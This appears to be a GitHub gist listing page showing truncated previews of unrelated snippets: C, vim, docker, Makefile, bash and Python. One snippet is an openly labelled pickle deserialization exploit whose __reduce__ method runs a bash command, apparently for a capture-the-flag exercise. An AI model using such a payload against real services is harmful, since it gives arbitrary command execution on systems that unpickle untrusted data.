This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <gmp.h> | |
#include <stdio.h> | |
#include <assert.h> | |
/// gcc -o gmprsa gmprsa.c -g -lgmp && ./gmprsa | |
int main(){ | |
char inputStr[1024]; | |
mpz_t p,q,e,n,r,p_,q_,d; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cPickle | |
import subprocess | |
class Exploit(object): | |
def __reduce__(self): | |
return (subprocess.Popen, (('/bin/bash','-c','getflag>/tmp/flag'), 0 ,None)) | |
print cPickle.dumps(Exploit()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
" Enable syntax highlighting | |
syntax on | |
" Disable use of the mouse for visual | |
set mouse-=a | |
" Display line numbers on the left | |
set number |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# State flow diagram | |
https://i.stack.imgur.com/vGuay.png | |
# Delete containers | |
docker rm $(docker ps -a -q) | |
# List containers | |
docker container ls -a | |
# Delete images |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CROSS_COMPILE ?= arm-unknown-eabi | |
AOPS = --warn --fatal-warnings | |
COPS = -Wall -Werror -O0 -nostdlib -nostartfiles -ffreestanding | |
callasm.bin: print.s callasm.c | |
$(CROSS_COMPILE)-as $(AOPS) print.s -o print.o | |
$(CROSS_COMPILE)-cc -c $(COPS) callasm.c -o callasm.o | |
# Caution! The order of the object files is critical | |
$(CROSS_COMPILE)-ld callasm.o print.o -o callasm.elf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Source this file | |
# The output length follows an expotential sequence, the same as the computation time | |
function bex { outstr=$1; incount=$2; while [[ ! incount -eq 0 ]]; do outstr=$(echo "$outstr" | base64 -w0); (( incount-- )); done; echo $outstr; } | |
function bdx { outstr=$1; incount=$2; while [[ ! incount -eq 0 ]]; do outstr=$(echo "$outstr" | base64 -d); (( incount-- )); done; echo $outstr; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from bs4 import BeautifulSoup | |
import requests | |
import re | |
import json | |
import datetime | |
urlbase = 'https://administracion.gob.es/pagFront/empleoBecas/empleo' | |
url = urlbase + '/buscadorEmpleoAvanzado.htm' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true; do | |
(echo -e 'HTTP/1.1 200 OK\r\n'; echo -e "\n\tMy website has date function" ; echo -e "\t$(date)\n") | nc -lp 8080; | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Taken from https://gist.github.com/kevinchappell/09ca3805a9531b818579 | |
parse_git_branch() { | |
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/' | |
} | |
PS1='${debian_chroot:+($debian_chroot)}\[\033[1;31m\]\u\[\033[1;37m\]@\[\033[1;32m\]\h\[\033[1;37m\]:\[\033[1;36m\]\w \[\033[1;35m\]$(parse_git_branch) \[\033[1;33m\]\$ \[\033[0m\]' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <limits.h> | |
#include <float.h> | |
#include <math.h> | |
#define STRFY(A) #A | |
#define SIZEOFI(T,MIN,MAX) printf("%-20s\t%5zu\t%20lld\t%20llu\n", STRFY(T), sizeof(T), (long long)MIN, (unsigned long long)MAX); | |
#define SIZEOFFP(T,MIN,MAX,RES) printf("%-20s\t%5zu\t%20Lg\t%20Lg\t%20Lg\n", STRFY(T), sizeof(T), (long double)MIN, (long double)MAX, (long double)RES); | |
void main() { |
OlderNewer